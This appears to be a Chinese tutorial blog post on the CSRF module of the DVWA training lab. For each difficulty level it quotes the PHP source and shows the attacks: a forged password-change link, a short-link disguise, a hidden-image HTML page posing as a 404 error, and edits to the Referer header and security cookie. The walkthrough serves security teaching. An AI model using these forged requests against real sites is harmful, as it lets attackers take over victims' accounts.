1. 程式人生 > 實用技巧 >DVWA靶場——CSRF(跨站請求偽造)

DVWA靶場——CSRF(跨站請求偽造)

概述

Cross Site Request Forgery簡稱“CSRF”,中文名為跨站請求偽造。在CSRF的攻擊場景中攻擊者會偽造一個請求(這個請求一般是一個連結),然後欺騙目標使用者進行點選,使用者一旦點選了這個請求,整個攻擊也就完成了。所以CSRF攻擊也被稱為"one click"攻擊

Low級別

原始碼:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    
// Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR
)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS
["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

可以看到原始碼中,後臺伺服器收到修改密碼的請求後,會去檢查password_newpassword_conf的引數是否相同,如果相同,則會修改密碼成功。這裡並沒有做任何的防CSRF機制

可以看到,每次我們修改密碼成功後,瀏覽器的URL都會顯示出來,我們可以利用這個漏洞,通過修改使用者的密碼後構造成一個連結,把連結傳送給目標使用者。目標使用者點選連結後,他的密碼就會被修改為連結中的密碼

http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

可以看到,使用者點選連結後,就會跳轉到DVWA頁面,顯示密碼修改成功。

很多人會說這個連結那麼明顯,不會有人點選,確實,所以我們可以通過短連結的形式來隱藏URL,一點選這個短連結就會跳轉到URL的指定頁面

http://suo.im/67SSid

但可以發現,每次點選連結後,都會跳轉到指定的頁面,頁面都會顯示Password Changed.密碼修改成功),這會很容易讓受害者知道自己受到了攻擊,所以這種方法並不好用。

我們可以通過構造一個HTML頁面去模擬真實的攻擊場景,誘導使用者點選從而對其攻擊

<html>
<body>
    <img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#"
border="0" style="display:none;"/>
<h1>404</h1>
    <h2>file not found.</h2>

</body>
</html>

當用戶點選這個HTML檔案後,頁面不會跳轉到DVWA頁面,但實際上使用者已經被SCRF攻擊了

Medium級別

在dvwa靶場中使用low級別的方法,在瀏覽器URL修改,頁面顯示That request didn't look correct.,說明low級別的方法在這裡不行了

原始碼:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

從上圖的紅框中可以看到,後臺的伺服器會去檢查HTTP_REFERER函式是否包含SERVER_NAME(host引數、主機名等),用此方法來抵禦CSRF攻擊

使用burp suite來抓包,傳送到Repeater模組

因為後臺伺服器檢查的是HTTP_REFERER函式是否包含SERVER_NAME,所以我們可以把抓包中的referer的引數改為host的引數

提交後,顯示密碼修改成功

High級別

原始碼:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

從原始碼中,可以看到high級別增加了Anti-CSRF token機制,後臺會隨機生成一個token引數,每次使用者提交改密時,後臺都會優先檢查token引數是否正確,然後才會去處理使用者的請求,這樣子很大程度上抵禦了CSRF攻擊。

因為high級別需要token去認證,然而實力還是菜鳥級別,還不懂的怎樣去獲取token值,所以只能另闢蹊徑來繞過token

每次我們抓包的時候,都可以看到cookie的引數,而每次dvwa靶場更換級別時,cookie的引數會隨著去改變,我們可以通過改變cookie的引數來繞過token

仔細觀察抓到的包裡面的內容,cookie裡的PHPSESSID引數其實都是一樣的,而security的值會隨著dvwa靶場的級別而去改變,我們可以把security的值改為low,從而去繞過token

保持burp suite的抓包狀態,在dvwa靶場的CSRF頁面中修改密碼,然後開啟bp,把抓到的包傳送到Repeater模組

Cookie裡面的security的值修改為low,也可以修改password_newpassword_conf的值

提交後,可以看到繞過token,密碼修改成功

Impossible級別

原始碼:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

可以看到Impossible級別的原始碼中,不僅使用Anti-CSRF token機制,還使用了PDO技術來防禦SQL注入,關鍵是還要求使用者輸入原始密碼(很nice),攻擊者在不知道原始密碼的情況下,無論如何都無法進行CSRF攻擊!